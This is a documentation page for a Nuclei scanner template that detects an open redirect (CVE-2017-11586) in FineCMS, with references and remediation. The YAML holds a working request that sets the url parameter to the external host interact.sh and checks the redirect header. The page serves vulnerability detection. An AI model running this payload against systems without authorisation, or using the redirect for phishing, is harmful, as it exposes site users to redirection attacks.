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FineCMS <5.0.9 - Open Redirect

ID: CVE-2017-11586

Severity: medium

Author: 0x_Akoko

Tags: cve,cve2017,redirect,finecms

Description

Section titled “Description”

FineCMS 5.0.9 contains an open redirect vulnerability via the url parameter in a sync action. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

Section titled “YAML Source”
id: CVE-2017-11586


info:
  name: FineCMS <5.0.9 - Open Redirect
  author: 0x_Akoko
  severity: medium
  description: |
    FineCMS 5.0.9 contains an open redirect vulnerability via the url parameter in a sync action. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks.
  remediation: |
    Upgrade to FineCMS version 5.0.9 or later to fix the open redirect vulnerability.
  reference:
    - http://lorexxar.cn/2017/07/20/FineCMS%20multi%20vulnerablity%20before%20v5.0.9/#URL-Redirector-Abuse
    - https://nvd.nist.gov/vuln/detail/CVE-2017-11586
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-11586
    cwe-id: CWE-601
    epss-score: 0.00121
    epss-percentile: 0.46136
    cpe: cpe:2.3:a:finecms:finecms:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: finecms
    product: finecms
  tags: cve,cve2017,redirect,finecms


http:
  - raw:
      - |
        POST /index.php?s=member&c=login&m=index HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8


        back=&data%5Busername%5D={{username}}&data%5Bpassword%5D={{password}}&data%5Bauto%5D=1
      - |
        GET /index.php?c=weixin&m=sync&url=http://interact.sh HTTP/1.1
        Host: {{Hostname}}


    matchers:
      - type: regex
        part: header
        regex:
          - 'Refresh:(.*)url=http:\/\/interact\.sh'
# digest: 490a00463044022019dbbdf3bfb9d899d5fe0b0c189eefec4602cea840e0ff3bb701b23ead3a7aef02200783170808334953f9062eb0b18abd1a5e240efd542b698ca1ec9cd540b24246:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2017/CVE-2017-11586.yaml"

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